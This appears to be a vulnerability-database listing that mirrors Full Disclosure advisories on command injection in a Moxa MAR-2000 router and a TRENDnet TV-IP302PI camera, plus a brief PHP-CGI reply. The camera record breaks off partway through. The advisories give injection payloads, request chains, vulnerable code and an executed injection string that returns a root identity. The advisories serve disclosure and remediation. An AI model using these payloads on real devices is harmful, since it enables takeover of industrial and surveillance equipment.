- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
581 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0502
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[0day-rubbish] Moxa MAR-2000 firmware FWR_MAR2000_V1.0_Build_15010909 command injection in the Executer program activation path (7.2)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in the Moxa
MAR-2000 series industrial 4G/LTE cellular router, firmware image
FWR_MAR2000_V1.0_Build_15010909, from Moxa Inc. (Taiwan). An authenticated
administrator converts one stored configuration field into arbitrary command
execution as the identity of the product's model process, because the
Executer model builds the launch command of an operator program as a shell
string whose program-argument column is never validated by any layer of the
backend. This is one of three independent command injection findings
documented for this product and released together as a set.
Type and root cause. CWE-78, OS command injection, with CWE-20 co-equal, in
the Executer model at /home/model/system/executer/executer.py inside the
ARM Debian 6.0.8 root filesystem of the firmware, which runs the vendor's
MIRF (Mobile Intelligent Routing Framework) stack: a Node.js Express 4.0
management application on port 80 bound to all interfaces, the express-sanji
middleware bridging REST resources onto a local MQTT broker, and Python 2.6
model scripts that persist configuration and act on it. The model stores
one row per operator program in an SQLite table whose columns include
fileName and argument. On activation it assembles the command as
str(execute_file) + " " + str(argument) and launches it with
subprocess.Popen(full_command, shell=True, preexec_fn=os.setsid), where the
row's argument bytes are concatenated verbatim and shell=True delegates the
parsing to /bin/sh: semicolons, background operators, pipes, backticks and
command substitution all have their ordinary meaning. The value's
provenance is a database column set by an HTTP request: the row writer is
generic, taking every key of the PUT /api/v1/system/executer/program/<id>
request's data object and committing it with a plain SQL
UPDATE ... SET ... statement, with no per-column semantics anywhere on the
write path. The only gate on execution is a liveness check - the file must
exist under the user-program directory - and the product's own multipart
upload route, POST /api/v1/system/executer/program, satisfies it: the upload
applies only a filename normalisation, with no allowed-type list and no file
filter. The chain is therefore: log in, upload a benign script through the
product's own route, store "; <command>; #" in the row's argument field, and
activate the row with PUT /api/v1/system/executer/activatedProgram carrying
programId and runBit 1. The shell runs the uploaded script first, the
semicolon ends it, the injected statement runs, and the trailing hash
comments out the rest of the line. The same model contains a second,
structurally identical sink in its deletion path: it builds
"rm -rf %s" from the row's unvalidated fileName column and executes it with
subprocess.call(..., shell=True), guarded only by a comparison of the raw
value against a single slash, which blocks exactly one value and nothing
else, and requires no upload and no activation.
The two-request chain looks like this after login:
```
[1] POST /api/v1/system/executer/program multipart, benign script
-> stored under the user-program directory
[2] PUT /api/v1/system/executer/program/<id>
{"data": {"fileName": "<uploaded basename>",
"argument": "; <command>; #"}}
-> generic row writer commits both columns verbatim (SQLite)
[3] PUT /api/v1/system/executer/activatedProgram
{"data": {"programId": <id>, "runBit": 1}}
-> Popen("<dir>/<file> ; <command>; #", shell=True)
```
Authentication and reach. The validateUser middleware is the only
authentication check on the REST surface: it requires a server-side session
for every non-GET method, and login is POST /api/login compared against
bcrypt-hashed entries in the SQLite user table. Past that check there is no
second authorisation layer - the message bridge performs no permission
translation and the broker leg carries no identity - so the product's single
documented role, the device administrator, is the whole security boundary.
The listener binds all interfaces on port 80 in the shipped firmware; no
WAN exposure is assumed anywhere in the published rating.
Severity. The published score is 7.2 High,
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 0.914816, impact
5.873119, exploitability 1.234708 and base 7.107826 rounded up to 7.2,
Privileges Required High being the product's single administrator role. A
labelled conditional and never the headline: where a deployment still runs
the factory default administrator pair carried by the shipped firmware's
SQLite user table, the prerequisite collapses and the chain reads 9.8
Critical on the PR:N vector (exploitability 3.887043, base 9.760161); a
changed credential removes it, and the default pair is disclosed as a
separate weakness, never folded into the published vector. A PR:L reading
of 8.8 High is published only as the arithmetic of the rejected variant. The
score provenance is disclosed in public: the research record behind this
advisory carried 8.8 for all three same-product findings, that figure is the
arithmetic of a PR:L vector, no artefact shows a lower-privileged product
role, and every published number was recomputed from its own vector - which
lowered the researchers' own figure by 1.6 points. A Scope-Changed reading
computes to 9.1 and is deliberately not published, because the model
process belongs to the same single-purpose appliance authority, and
commanding the appliance's own operating system through its management
plane is the product's design rather than an escape.
Verification method, and its boundary. Two evidence classes carry the
finding, kept separate in the published advisory. The firmware's own
application sources establish the entry path, the storage semantics and the
exact sink construction, read from the shipped files. The dynamic layer is
a sink-level replication on an isolated cloud Linux sandbox: the model's
exact concatenation with the shell=True launch, carrying a benign upload
stand-in, an injection payload and a benign control; with the payload in the
argument position a marker file containing uid=0(root) was created, and the
control produced the benign program launch and nothing else. The deletion
construction was replicated with the same method and also produced its
marker. The boundary is stated plainly: end-to-end detonation against
powered-on hardware is outside this research record, and the identity of the
model process on the device was neither measured nor claimed - uid=0(root)
is the replication sandbox's identity and nothing broader rests on it.
Impact. Arbitrary command execution as the identity of the Python model
process, begun by one authenticated configuration write and one activation
request, with no memory corruption and no protocol manipulation in the
chain. The command line is a stored configuration value that persists across
reboots and re-executes on every activation of the row, so the payload is
reboot-durable without persistence work by the attacker. The deletion sink
extends the class to a field reachable without any upload and allows
destructive filesystem operations wherever the injected metacharacters
lead. The compromise yields the router's complete configuration, control of
its forwarding and cellular function, and availability at will over a
device deployed as communication infrastructure. The two requests that
matter are indistinguishable in shape from ordinary administrator activity,
so the readable signals are content-level: program rows whose argument
contains shell metacharacters, unexpected files in the user-program
directory, unexpected child processes under the model daemon. The web
stack's separate property of answering unauthenticated GET requests across
the API surface is a read-exposure issue reported on its own and is not
part of this chain.
Remediation: execute activated programs without a shell, with the
executable path and the argument as separate execv-style arguments; validate
the argument at the row-write boundary in the model rather than only in a
web form; constrain fileName to the set of stored uploads and associate rows
to files by an opaque server-side handle; rebuild the deletion path with an
argument vector; restrict the multipart upload to executable-basename types
and add a regression test that writes a metacharacter-bearing argument,
activates the row, and asserts rejection at write time or execution without
shell interpretation. Operators until a patch exists: change the factory
default administrator credential at commissioning, keep the management
listener off WAN-facing addresses, audit the program table and user-program
directory on a schedule, and disable the Executer feature where operator
programs are not used.
Proof of concept. The published tool is a standard-library-only Python 3
client that drives the full chain: it logs in, uploads a benign two-line
shell script through the multipart route, writes the argument payload into a
chosen row, activates the row, and reports; it verifies both the write and
the activation responses and exits non-zero with an explicit message at each
failure point. Target, credential, row id, marker command and timeouts are
arguments; the default target is loopback. No persistence, no reverse shell,
no destructive action; the default command writes a single marker file so
the outcome is observable without a second channel. Use it only against
systems you own or are authorised to test.
The vendor's product security team mailbox, published on the vendor's own
security advisories page, was used for the unconditional notification; no
report form was submitted and no individual was addressed by name. This
disclosure is unconditional: the research is published, no permission was
asked for, no embargo was requested, nothing is withheld pending a reply,
and remediation questions are answered at no cost. No vulnerability
identifier has been assigned to this finding.
Two companion advisories for the same product are published alongside this
one, independent findings that share only the entry architecture - a
different model file, REST resource, configuration field and sink each: an
IPsec tunnel address injection through the route-management shell commands,
and a scenario ping condition injection through the auto-executing ping
thread, both at the second and third URLs below.
Full technical analysis and the reproducible proof of concept, published
unconditionally:
https://0day-rubbish.com/blog/mar-2000-executer-program-argument-command-injection
Companion advisories for the same product, independent findings:
https://0day-rubbish.com/blog/mar-2000-network-ipsec-command-injection
https://0day-rubbish.com/blog/mar-2000-scenario-ping-command-injection
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Moxa | MAR-2000 firmware |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "MAR-2000 firmware",
"vendor": "Moxa",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "disclosure via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "0day Rubbish Research Team is publicly disclosing a vulnerability in the Moxa\nMAR-2000 series industrial 4G/LTE cellular router, firmware image\nFWR_MAR2000_V1.0_Build_15010909, from Moxa Inc. (Taiwan). An authenticated\nadministrator converts one stored configuration field into arbitrary command\nexecution as the identity of the product\u0027s model process, because the\nExecuter model builds the launch command of an operator program as a shell\nstring whose program-argument column is never validated by any layer of the\nbackend. This is one of three independent command injection findings\ndocumented for this product and released together as a set.\n\nType and root cause. CWE-78, OS command injection, with CWE-20 co-equal, in\nthe Executer model at /home/model/system/executer/executer.py inside the\nARM Debian 6.0.8 root filesystem of the firmware, which runs the vendor\u0027s\nMIRF (Mobile Intelligent Routing Framework) stack: a Node.js Express 4.0\nmanagement application on port 80 bound to all interfaces, the express-sanji\nmiddleware bridging REST resources onto a local MQTT broker, and Python 2.6\nmodel scripts that persist configuration and act on it. The model stores\none row per operator program in an SQLite table whose columns include\nfileName and argument. On activation it assembles the command as\nstr(execute_file) + \" \" + str(argument) and launches it with\nsubprocess.Popen(full_command, shell=True, preexec_fn=os.setsid), where the\nrow\u0027s argument bytes are concatenated verbatim and shell=True delegates the\nparsing to /bin/sh: semicolons, background operators, pipes, backticks and\ncommand substitution all have their ordinary meaning. The value\u0027s\nprovenance is a database column set by an HTTP request: the row writer is\ngeneric, taking every key of the PUT /api/v1/system/executer/program/\u003cid\u003e\nrequest\u0027s data object and committing it with a plain SQL\nUPDATE ... SET ... statement, with no per-column semantics anywhere on the\nwrite path. The only gate on execution is a liveness check - the file must\nexist under the user-program directory - and the product\u0027s own multipart\nupload route, POST /api/v1/system/executer/program, satisfies it: the upload\napplies only a filename normalisation, with no allowed-type list and no file\nfilter. The chain is therefore: log in, upload a benign script through the\nproduct\u0027s own route, store \"; \u003ccommand\u003e; #\" in the row\u0027s argument field, and\nactivate the row with PUT /api/v1/system/executer/activatedProgram carrying\nprogramId and runBit 1. The shell runs the uploaded script first, the\nsemicolon ends it, the injected statement runs, and the trailing hash\ncomments out the rest of the line. The same model contains a second,\nstructurally identical sink in its deletion path: it builds\n\"rm -rf %s\" from the row\u0027s unvalidated fileName column and executes it with\nsubprocess.call(..., shell=True), guarded only by a comparison of the raw\nvalue against a single slash, which blocks exactly one value and nothing\nelse, and requires no upload and no activation.\n\nThe two-request chain looks like this after login:\n\n```\n[1] POST /api/v1/system/executer/program multipart, benign script\n -\u003e stored under the user-program directory\n[2] PUT /api/v1/system/executer/program/\u003cid\u003e\n {\"data\": {\"fileName\": \"\u003cuploaded basename\u003e\",\n \"argument\": \"; \u003ccommand\u003e; #\"}}\n -\u003e generic row writer commits both columns verbatim (SQLite)\n[3] PUT /api/v1/system/executer/activatedProgram\n {\"data\": {\"programId\": \u003cid\u003e, \"runBit\": 1}}\n -\u003e Popen(\"\u003cdir\u003e/\u003cfile\u003e ; \u003ccommand\u003e; #\", shell=True)\n```\n\nAuthentication and reach. The validateUser middleware is the only\nauthentication check on the REST surface: it requires a server-side session\nfor every non-GET method, and login is POST /api/login compared against\nbcrypt-hashed entries in the SQLite user table. Past that check there is no\nsecond authorisation layer - the message bridge performs no permission\ntranslation and the broker leg carries no identity - so the product\u0027s single\ndocumented role, the device administrator, is the whole security boundary.\nThe listener binds all interfaces on port 80 in the shipped firmware; no\nWAN exposure is assumed anywhere in the published rating.\n\nSeverity. The published score is 7.2 High,\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, from ISS = 0.914816, impact\n5.873119, exploitability 1.234708 and base 7.107826 rounded up to 7.2,\nPrivileges Required High being the product\u0027s single administrator role. A\nlabelled conditional and never the headline: where a deployment still runs\nthe factory default administrator pair carried by the shipped firmware\u0027s\nSQLite user table, the prerequisite collapses and the chain reads 9.8\nCritical on the PR:N vector (exploitability 3.887043, base 9.760161); a\nchanged credential removes it, and the default pair is disclosed as a\nseparate weakness, never folded into the published vector. A PR:L reading\nof 8.8 High is published only as the arithmetic of the rejected variant. The\nscore provenance is disclosed in public: the research record behind this\nadvisory carried 8.8 for all three same-product findings, that figure is the\narithmetic of a PR:L vector, no artefact shows a lower-privileged product\nrole, and every published number was recomputed from its own vector - which\nlowered the researchers\u0027 own figure by 1.6 points. A Scope-Changed reading\ncomputes to 9.1 and is deliberately not published, because the model\nprocess belongs to the same single-purpose appliance authority, and\ncommanding the appliance\u0027s own operating system through its management\nplane is the product\u0027s design rather than an escape.\n\nVerification method, and its boundary. Two evidence classes carry the\nfinding, kept separate in the published advisory. The firmware\u0027s own\napplication sources establish the entry path, the storage semantics and the\nexact sink construction, read from the shipped files. The dynamic layer is\na sink-level replication on an isolated cloud Linux sandbox: the model\u0027s\nexact concatenation with the shell=True launch, carrying a benign upload\nstand-in, an injection payload and a benign control; with the payload in the\nargument position a marker file containing uid=0(root) was created, and the\ncontrol produced the benign program launch and nothing else. The deletion\nconstruction was replicated with the same method and also produced its\nmarker. The boundary is stated plainly: end-to-end detonation against\npowered-on hardware is outside this research record, and the identity of the\nmodel process on the device was neither measured nor claimed - uid=0(root)\nis the replication sandbox\u0027s identity and nothing broader rests on it.\n\nImpact. Arbitrary command execution as the identity of the Python model\nprocess, begun by one authenticated configuration write and one activation\nrequest, with no memory corruption and no protocol manipulation in the\nchain. The command line is a stored configuration value that persists across\nreboots and re-executes on every activation of the row, so the payload is\nreboot-durable without persistence work by the attacker. The deletion sink\nextends the class to a field reachable without any upload and allows\ndestructive filesystem operations wherever the injected metacharacters\nlead. The compromise yields the router\u0027s complete configuration, control of\nits forwarding and cellular function, and availability at will over a\ndevice deployed as communication infrastructure. The two requests that\nmatter are indistinguishable in shape from ordinary administrator activity,\nso the readable signals are content-level: program rows whose argument\ncontains shell metacharacters, unexpected files in the user-program\ndirectory, unexpected child processes under the model daemon. The web\nstack\u0027s separate property of answering unauthenticated GET requests across\nthe API surface is a read-exposure issue reported on its own and is not\npart of this chain.\n\nRemediation: execute activated programs without a shell, with the\nexecutable path and the argument as separate execv-style arguments; validate\nthe argument at the row-write boundary in the model rather than only in a\nweb form; constrain fileName to the set of stored uploads and associate rows\nto files by an opaque server-side handle; rebuild the deletion path with an\nargument vector; restrict the multipart upload to executable-basename types\nand add a regression test that writes a metacharacter-bearing argument,\nactivates the row, and asserts rejection at write time or execution without\nshell interpretation. Operators until a patch exists: change the factory\ndefault administrator credential at commissioning, keep the management\nlistener off WAN-facing addresses, audit the program table and user-program\ndirectory on a schedule, and disable the Executer feature where operator\nprograms are not used.\n\nProof of concept. The published tool is a standard-library-only Python 3\nclient that drives the full chain: it logs in, uploads a benign two-line\nshell script through the multipart route, writes the argument payload into a\nchosen row, activates the row, and reports; it verifies both the write and\nthe activation responses and exits non-zero with an explicit message at each\nfailure point. Target, credential, row id, marker command and timeouts are\narguments; the default target is loopback. No persistence, no reverse shell,\nno destructive action; the default command writes a single marker file so\nthe outcome is observable without a second channel. Use it only against\nsystems you own or are authorised to test.\n\nThe vendor\u0027s product security team mailbox, published on the vendor\u0027s own\nsecurity advisories page, was used for the unconditional notification; no\nreport form was submitted and no individual was addressed by name. This\ndisclosure is unconditional: the research is published, no permission was\nasked for, no embargo was requested, nothing is withheld pending a reply,\nand remediation questions are answered at no cost. No vulnerability\nidentifier has been assigned to this finding.\n\nTwo companion advisories for the same product are published alongside this\none, independent findings that share only the entry architecture - a\ndifferent model file, REST resource, configuration field and sink each: an\nIPsec tunnel address injection through the route-management shell commands,\nand a scenario ping condition injection through the auto-executing ping\nthread, both at the second and third URLs below.\n\nFull technical analysis and the reproducible proof of concept, published\nunconditionally:\n https://0day-rubbish.com/blog/mar-2000-executer-program-argument-command-injection\n\nCompanion advisories for the same product, independent findings:\n https://0day-rubbish.com/blog/mar-2000-network-ipsec-command-injection\n https://0day-rubbish.com/blog/mar-2000-scenario-ping-command-injection\n\nProject archive (ongoing disclosure series):\n https://github.com/Exploit-Garbage/0day-Rubbish\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-20",
"description": "CWE-20",
"lang": "en",
"type": "CWE"
},
{
"cweId": "CWE-78",
"description": "CWE-78",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:04Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/52"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/52"
},
{
"url": "https://0day-rubbish.com"
},
{
"url": "https://0day-rubbish.com/blog/mar-2000-executer-program-argument-command-injection"
},
{
"url": "https://0day-rubbish.com/blog/mar-2000-network-ipsec-command-injection"
},
{
"url": "https://0day-rubbish.com/blog/mar-2000-scenario-ping-command-injection"
},
{
"url": "https://github.com/Exploit-Garbage/0day-Rubbish"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/52"
],
"discovery": "EXTERNAL"
},
"title": "[0day-rubbish] Moxa MAR-2000 firmware FWR_MAR2000_V1.0_Build_15010909 command injection in the Executer program activation path (7.2)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0502",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/52",
"automated": true,
"contentSha256": "2411179a70ba593d7df9352ac3f4c930deb26f30d8f08c87c5a00196a05d3527",
"evidenceScore": 11,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/52",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-27T16:38:41Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:04Z",
"dateUpdated": "2026-11-02T07:30:04Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0502"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0501
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
Re: CVE-2026-109618: PHP-CGI Pointer Underflow → Remote Code Execution (CVSS 9.2)
Summary
Am 21.10.26 um 07:23 schrieb jose:
CVE-2026-109618: Pointer underflow in PHP's CGI SAPI enables
unauthenticated remote code execution.
Best regards,
Marius
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-description |
| https://seclists.org/fulldisclosure/2026/Oct/51 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Relationships
reference
GCVE-1988-2026-0501 (this record)
- related CVE-2026-109618
{
"containers": {
"cna": {
"affected": [
{
"product": "PHP",
"vendor": "PHP Group",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "Am 21.10.26 um 07:23 schrieb jose:\n\nCVE-2026-109618: Pointer underflow in PHP\u0027s CGI SAPI enables\nunauthenticated remote code execution.\n\n\n\n\n\nBest regards,\nMarius\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:04Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/51"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/51"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/51"
],
"discovery": "EXTERNAL"
},
"title": "Re: CVE-2026-109618: PHP-CGI Pointer Underflow \u2192 Remote Code Execution (CVSS 9.2)",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-109618",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0501",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/51",
"automated": true,
"contentSha256": "753a4ae06b828829d5c652c6298505b5826a3f459da39825a9b8ce434dfaf9d5",
"evidenceScore": 6,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/51",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-27T08:49:47Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0501"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:04Z",
"dateUpdated": "2026-11-02T07:30:04Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0501"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0500
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
EPSS
VEX
Title
[0day-rubbish] TRENDnet TV-IP302PI firmware 1.02.38 authenticated NTP server-address OS command injection to root command execution via a shell-form system() call (7.2 High, PR:H)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in TRENDnet
TV-IP302PI firmware 1.02.38, the closed-source IP surveillance camera from
TRENDnet (United States). The camera's application daemon is shipped at
/hunt/hunt_server: an ARM 32-bit EABI5 version 5TE soft-float binary,
dynamically linked against /lib/ld-linux.so.3, 4.5 MB and stripped. Its own
string pool carries hunt_camera, HuntAudioConverter, HuntDataDirect and
PPPoE_TV-IP302PI next to the TRENDnet brand identifier, which identifies the
image as built on a Hunt Electronic camera platform OEM'd into this model. That
provenance matters twice: it tells an operator that the same construction may
exist in other products built on the same platform, and it tells a reader that
this finding is specific to that platform's binary, its configuration-key name
and its command template rather than to a generic NTP client.
Type and root cause. OS command injection, CWE-78 primary, with CWE-20 improper
input validation, and CWE-250 and CWE-269 contributing for the privilege shape.
An authenticated administrator who sets the NTP server address has the value
stored verbatim into the configuration parameter c64_Ntp_Server, at offset 0x9c
inside the configuration structure. The only validation applied on the way in is
a length cap: 48 bytes (0x30, via func_0x002a9ae0) on the HTTP form path and 64
bytes on the ONVIF SOAP path. No character is rejected. That same offset is later
read back by the time-synchronisation path, formatted with %s, unquoted and
unescaped, into the command template
/hunt/msntp -ts %d -r %s &
and handed to system(), which runs the string through /bin/sh -c. The shell
re-parses it, so a semicolon, a $(...) command substitution or a backtick pair
inside what is supposed to be a time-server address terminates the NTP client
invocation and starts an arbitrary command in the daemon's own context. That
context is uid=0(root): the web tier performs no privilege drop, the boa
configuration file shipped in the image declares none, and the runtime
configuration model recovered from the binary contains no unprivileged identity
for the web tier to switch to. There is therefore no privilege-escalation stage
in this chain and none is claimed or needed.
The chain, link by link, with the offsets from the shipped binary.
Link 1 is a configuration write. The parameter table maps the HTTP form field to
the key c64_Ntp_Server, whose set callback at 0x2b668c compares the incoming
value against the stored one, returns early if they match, and otherwise copies
it into the slot. The decompiled shape is a bare strcpy. On a change the callback
raises a configuration event, event 2, through func_0x001ecddc. That event is how
the rest of the daemon learns that time synchronisation needs re-doing, and it is
also why the write itself is the trigger: in the ordinary case no second request
and no wait for a scheduled resynchronisation is required.
Link 2 is command construction. The event handler at 0x371d88, registered inside
fcn.002b700c, and the builder at 0x2760d0, called from the call site at 0x286264,
both read the same offset config+0x9c that link 1 wrote, and format it:
snprintf(buf, 0x100,
*p_fmt_at_0x3ded60, /* "/hunt/msntp -ts %d -r %s &" */
*(cfg + 0xe4), /* the -ts flag: server-derived */
cfg + 0x9c); /* the address: attacker-supplied */
func_0x001efbac(handle, 10, buf); /* enqueue for the worker */
There is no quoting of any kind around the %s. The -ts flag comes from cfg+0xe4
and is not attacker-controlled; the address argument is, completely. That the
write offset and the read offset are the same value is the load-bearing detail of
the static half of this work, because it is what ties the tainted input to the
tainted argument without anyone having to guess at a structure layout.
Link 3 is execution. The enqueue helper func_0x001efbac hands the finished string
to a queue worker that calls system(buf). The identification of system() as the
final executor is STATIC evidence and is reported as such: system is referenced
through the GOT entry at 0xc274, and that GOT slot is what distinguishes a
system() call site from an execve call site with a prepared argv. No dynamic
observation in this research watched the worker choose between the two forms.
Under an argv-form invocation the address would have reached msntp as one
argument element and every shell metacharacter inside it would have been inert
text passed to a resolver, which is exactly why that distinction is the whole
vulnerability rather than an implementation detail.
Two protocols write one slot, so this is one vulnerability with two sources rather
than two vulnerabilities. On the HTTP path the value arrives as POST parameter
NtpIP to apply.cgi or SetTime.cgi inside an authenticated session. On the ONVIF
path the same slot is written by the tds:SetNTP handler at 0x286218-0x286264,
which applies its own 64-byte length check, no content check, and then calls
fcn.002760d0 directly, so on that route the sink sits one call from the entry
point instead of being reached through the event dispatch. A fix applied only to
the HTTP form leaves the ONVIF entry point open, and the ONVIF path's larger cap
is the more comfortable carrier for a longer payload.
What validation is present and what is absent. Present: a length cap and nothing
else. Absent: any parse of the value as an address, no inet_aton or inet_pton, no
hostname-syntax check followed by re-serialisation of the resolved name; no
character allow-list, although for a time-server field the correct alphabet is
roughly [A-Za-z0-9._:-], which excludes every metacharacter in this chain; no
deny-list for the semicolon, pipe, ampersand, dollar sign, backtick, parentheses,
angle brackets, newline, carriage return or quote characters, so nothing rejects
even the crudest payload; no quoting or escaping at the interpolation site; and no
argv-form invocation of /hunt/msntp, which alone would have removed the shell from
the picture and made all four preceding items unnecessary. The shape of the defect
in one line: the value is checked for how long it is and never for what it is. A
length cap of that kind exists to protect a fixed-size configuration slot from
overrunning, and on that job it appears to work. Forty-eight bytes admits every
injection form used in this research several times over, the shortest of which is
17 bytes.
One sanitization-shaped behaviour that is not one is worth knowing before
reproducing this: the set callback's strcmp early-return suppresses the change
event when the new value is byte-identical to the stored one, so posting the same
payload twice does not re-fire the sink. Vary the payload between attempts, for
example by changing the marker filename, which costs one byte and changes nothing
about the finding.
Authentication, and what is credited. This is not an unauthenticated
vulnerability and no unauthenticated variant of it is claimed. Every .cgi request
passes a fail-closed HTTP Digest gate, with Basic also accepted: the challenge
generator at 0x26be70 emits WWW-Authenticate: Digest, the connection handler at
0x26ed54 calls it at entry, credentials are evaluated through fcn.00268afc, an
absent or wrong credential yields 401 and the handler does not fall through to the
request's business logic, and the .cgi dispatch runs its authentication check
through func_0026c248. The unauthenticated allow-list recovered from the binary is
a static-content extension list covering html, htm, jpg, css, js, png, gif, txt,
asp, avi, bmp, cab, exe, mov, swf and xpi, plus one snapshot path, CamImg*.jpg. No
member of it is a configuration write and none reaches this sink. Two .cgi routes
are genuinely unauthenticated, GetVer.cgi returning a version XML document and
GetLanguage.cgi returning a language pack; both were examined for execution sinks
and neither calls system() or popen(), so they are useful for fingerprinting only.
The unauthenticated surface was swept for a path into the sink and the sweep came
out negative, which is what makes the authentication statement here a finding
rather than an assumption. The product's gate is present, centralised and
fail-closed, and it is credited as such: this finding is explicitly not CWE-306
and not CWE-862. The camera gets the gate right and the argument construction
wrong.
The principal required is an administrator, and the evidence carries two different
weights that should not be conflated. The credential requirement is structural and
fail-closed, read out of the gate's own control flow. The role requirement
specifically is read out of the privilege model recovered from the image, which
defines five levels, i_UserPrivilege01 through i_UserPrivilege05, and places NTP
configuration behind the administrator role; it was not differentially tested,
because no account below administrator was available to test with and no
comparison was ever run between a low-privilege write and an administrative one.
The honest status of the PR:H rating is therefore "supported by the recovered
privilege model" and nothing stronger, which is why the PR:L reading is published
below as a labelled conditional rather than being papered over.
Verification boundary, stated in full and up front, because it defines what is and
is not being claimed. No physical camera was used at any point. No TV-IP302PI
hardware was driven, no firmware image was booted onto hardware, no hunt_server
process was started, no HTTP request was issued to the daemon during any phase of
this work, and no request came from a second host. Nothing here is a live-device
exploit and the research does not present itself as one.
What the dynamic half actually was: a replica of the vulnerable call run inside
the product's own extracted root filesystem. The vendor firmware image is an
unencrypted ZIP container with five streams and the root filesystem in the third;
that tree of 251 files was extracted, and on an isolated cloud sandbox the
researchers chrooted into it and ran the camera's own busybox shell under
qemu-arm-static user-mode ARM emulation, invoking the interpreter explicitly in
the form qemu-arm-static /lib/ld-linux.so.3 --library-path /lib /bin/busybox sh -c
"<command string>", with binfmt_misc registered for ARM ELF so that a shell inside
the chroot could fork and exec the external ARM binaries in the same tree, and
with /dev and /proc bind-mounted. What was executed under that harness was the
exact command string the product's own builder produces from the product's own
template, with attacker-chosen bytes in the address slot, run by the product's own
shell in the product's own root filesystem. Four runs were made, three injection
forms and one control:
/hunt/msntp -ts 1 -r 1.1.1.1;/bin/busybox id > <marker>;# &
marker content uid=0(root) gid=0(root) groups=0(root)
marker owner root:root
